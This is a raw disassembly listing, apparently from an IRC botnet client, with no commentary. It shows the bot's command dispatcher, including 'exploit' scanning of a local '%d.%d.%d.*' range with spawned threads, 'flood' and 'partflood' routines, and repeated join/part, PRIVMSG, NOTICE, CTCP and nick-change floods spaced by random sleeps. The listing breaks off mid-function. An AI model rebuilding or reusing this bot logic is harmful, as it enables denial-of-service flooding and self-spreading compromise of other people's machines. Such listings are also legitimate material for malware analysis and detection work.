		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	22h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BEA0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDE0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42D0B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB4
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD88
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset asc_42D0B4 ; "-"


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		call	ds:dword_427064	; ExitProcess


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet_0	; "get"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset byte_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD4C
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax		; Size
		lea	eax, [ebp+var_2E8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_427230	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi		; Source
		jnz	short loc_404AC5
		push	offset unk_42BD0C
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset byte_4CE7E8 ; Dest
		call	_strcpy
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset asc_42BCE0 ; "-"


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi		; Str2
		push	offset aExploit	; "exploit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi		; Format
		lea	eax, [ebp+var_1474]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+var_13EC],	1
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi		; Format
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+Source]	; Format
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42BCA8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset sub_40B8A2
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC68
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi		; Str2
		push	offset aReconnect_in ; "reconnect.in"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi		; Str2
		push	offset aRin	; "rin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi		; Str2
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi		; Str2
		push	offset aRinms	; "rinms"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]	; Str2
		push	offset aFlood	; "flood"
		call	_strcmp
		mov	edi, ds:dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		push	[ebp+Source]	; Str2
		push	offset aLoad	; "load"
		call	_strcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Str2]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Format] ; Source
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Str2]
		push	[ebp+esi+Format]
		push	[ebp+esi+var_80]
		push	offset asc_42BC00 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+Source]	; Str2
		push	offset aPm	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D124 ; " "
		push	offset a_	; "_"
		push	eax		; Src
		call	sub_417EEF
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+Source]	; Str2
		push	offset aCt	; "ct"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D124 ; " "
		push	offset a_	; "_"
		push	eax		; Src
		call	sub_417EEF
		push	eax		; Source
		lea	eax, [ebp+var_4BF0]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS ; "privmsg %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+Source]	; Str2
		push	offset aNt	; "nt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D124 ; " "
		push	offset a_	; "_"
		push	eax		; Src
		call	sub_417EEF
		push	eax		; Source
		lea	eax, [ebp+var_46EC]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_0 ; "notice %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+Source]	; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D124 ; " "
		push	offset a_	; "_"
		push	eax		; Src
		call	sub_417EEF
		push	eax		; Source
		lea	eax, [ebp+var_4DF0]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aModeSS	; "mode	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+Source]	; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+Source]	; Str2
		push	offset aPart_0	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aPartS	; "part	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+Source]	; Str2
		push	offset aPartflood ; "partflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+Source]	; Str2
		push	offset aPnick	; "pnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+Format], ebx
		jz	short loc_404FE9
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+Format]
		push	offset aSI	; "%s%i"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+Source]	; Str2
		push	offset aJoinPart ; "join/part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+Format], ebx
		jz	loc_405136
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset dword_427638
		push	[ebp+esi+Format]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_427638
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_427638
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+Source]	; Str2
		push	offset aDcc	; "dcc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+Format], ebx
		jz	short loc_4051D0
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+Dst]
		push	edx
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_0 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+Source]	; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+Source]	; Str2
		push	offset aChgnick	; "chgnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax		; Dest
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+Source]	; Str2
		push	offset aMsg	; "msg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+Format], ebx
		jz	loc_405408
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset dword_42763C
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+Source]	; Str2
		push	offset aNotice_0 ; "notice"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+Format], ebx
		jz	loc_4054F7
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset dword_42763C
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+Source]	; Str2
		push	offset aCtcp	; "ctcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+Format], ebx
		jz	loc_40560E
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_1 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_2 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_3 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_3 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+Source]	; Str2
		push	offset aMix	; "mix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+Format], ebx
		jz	loc_405734
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_1 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset dword_42763C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+Source]	; Str2
		push	offset aRegister ; "register"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+Source]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
